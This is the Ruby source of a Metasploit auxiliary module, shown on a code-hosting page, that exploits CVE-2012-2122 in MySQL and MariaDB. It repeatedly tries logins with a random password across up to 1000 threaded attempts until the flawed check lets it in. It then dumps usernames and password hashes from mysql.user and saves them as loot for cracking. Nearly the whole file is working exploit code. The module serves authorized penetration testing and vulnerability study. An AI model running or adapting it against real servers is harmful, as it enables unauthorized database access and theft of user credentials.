Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/proto/mysql/client'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::MYSQL9include Msf::Auxiliary::Report1011include Msf::Auxiliary::Scanner1213def initialize14super(15'Name' => 'MySQL Authentication Bypass Password Dump',16'Description' => %Q{17This module exploits a password bypass vulnerability in MySQL in order18to extract the usernames and encrypted password hashes from a MySQL server.19These hashes are stored as loot for later cracking.2021Impacts MySQL versions:22- 5.1.x before 5.1.6323- 5.5.x before 5.5.2424- 5.6.x before 5.6.62526And MariaDB versions:27- 5.1.x before 5.1.6228- 5.2.x before 5.2.1229- 5.3.x before 5.3.630- 5.5.x before 5.5.2331},32'Author' => [33'theLightCosine', # Original hashdump module34'jcran' # Authentication bypass bruteforce implementation35],36'References' => [37['CVE', '2012-2122'],38['OSVDB', '82804'],39['URL', 'https://www.rapid7.com/blog/post/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/']40],41'DisclosureDate' => 'Jun 09 2012',42'License' => MSF_LICENSE43)4445deregister_options('PASSWORD')46register_options( [47OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])48])49end505152def run_host(ip)5354# Keep track of results (successful connections)55results = []5657# Username and password placeholders58username = datastore['USERNAME']59password = Rex::Text.rand_text_alpha(rand(8)+1)6061# Do an initial check to see if we can log into the server at all6263begin64socket = connect(false)65close_required = true66mysql_client = ::Rex::Proto::MySQL::Client.connect(rhost, username, password, nil, rport, io: socket)67results << mysql_client68close_required = false6970print_good "#{mysql_client.peerhost}:#{mysql_client.peerport} The server accepted our first login as #{username} with a bad password. URI: mysql://#{username}:#{password}@#{mysql_client.peerhost}:#{mysql_client.peerport}"7172rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged73print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"74return75rescue ::Rex::Proto::MySQL::Client::AccessDeniedError76print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"77rescue ::Interrupt78raise $!79rescue ::Exception => e80print_error "#{rhost}:#{rport} Error: #{e}"81return82ensure83socket.close if socket && close_required84end8586# Short circuit if we already won87if results.length > 088self.mysql_conn = results.first89return dump_hashes(mysql_client.peerhost, mysql_client.peerport)90end919293#94# Threaded login checker95#96max_threads = 1697cur_threads = []9899# Try up to 1000 times just to be sure100queue = [*(1 .. 1000)]101102while(queue.length > 0)103while(cur_threads.length < max_threads)104105# We can stop if we get a valid login106break if results.length > 0107108# keep track of how many attempts we've made109item = queue.shift110111# We can stop if we reach 1000 tries112break if not item113114# Status indicator115print_status "#{rhost}:#{rport} Authentication bypass is #{item/10}% complete" if (item % 100) == 0116117t = Thread.new(item) do |count|118begin119# Create our socket and make the connection120close_required = true121s = connect(false)122mysql_client = ::Rex::Proto::MySQL::Client.connect(rhost, username, password, nil, rport, io: s)123124print_good "#{mysql_client.peerhost}:#{mysql_client.peerport} Successfully bypassed authentication after #{count} attempts. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"125results << mysql_client126close_required = false127rescue ::Rex::Proto::MySQL::Client::AccessDeniedError128rescue ::Exception => e129print_bad "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"130ensure131s.close if socket && close_required132end133end134135cur_threads << t136end137138# We can stop if we get a valid login139break if results.length > 0140141# Add to a list of dead threads if we're finished142cur_threads.each_index do |ti|143t = cur_threads[ti]144if not t.alive?145cur_threads[ti] = nil146end147end148149# Remove any dead threads from the set150cur_threads.delete(nil)151152::IO.select(nil, nil, nil, 0.25)153end154155# Clean up any remaining threads156cur_threads.each {|x| x.kill }157158159if results.length > 0160print_good("#{mysql_client.peerhost}:#{mysql_client.peerport} Successfully exploited the authentication bypass flaw, dumping hashes...")161self.mysql_conn = results.first162return dump_hashes(mysql_client.peerhost, mysql_client.peerport)163end164165print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")166end167168def dump_hashes(host, port)169170# Grabs the username and password hashes and stores them as loot171res = mysql_query("SELECT user,password from mysql.user")172if res.nil?173print_error("#{host}:#{port} There was an error reading the MySQL User Table")174return175176end177178# Create a table to store data179tbl = Rex::Text::Table.new(180'Header' => 'MysQL Server Hashes',181'Indent' => 1,182'Columns' => ['Username', 'Hash']183)184185if res.size > 0186res.each do |row|187next unless (row[0].to_s + row[1].to_s).length > 0188tbl << [row[0], row[1]]189print_good("#{host}:#{port} Saving HashString as Loot: #{row[0]}:#{row[1]}")190end191end192193this_service = nil194if framework.db and framework.db.active195this_service = report_service(196:host => host,197:port => port,198:name => 'mysql',199:proto => 'tcp'200)201end202203report_hashes(tbl.to_csv, this_service, host, port) unless tbl.rows.empty?204205end206207# Stores the Hash Table as Loot for Later Cracking208def report_hashes(hash_loot,service, host, port)209filename= "#{host}-#{port}_mysqlhashes.txt"210path = store_loot("mysql.hashes", "text/plain", host, hash_loot, filename, "MySQL Hashes", service)211print_good("#{host}:#{port} Hash Table has been saved: #{path}")212213end214end215216217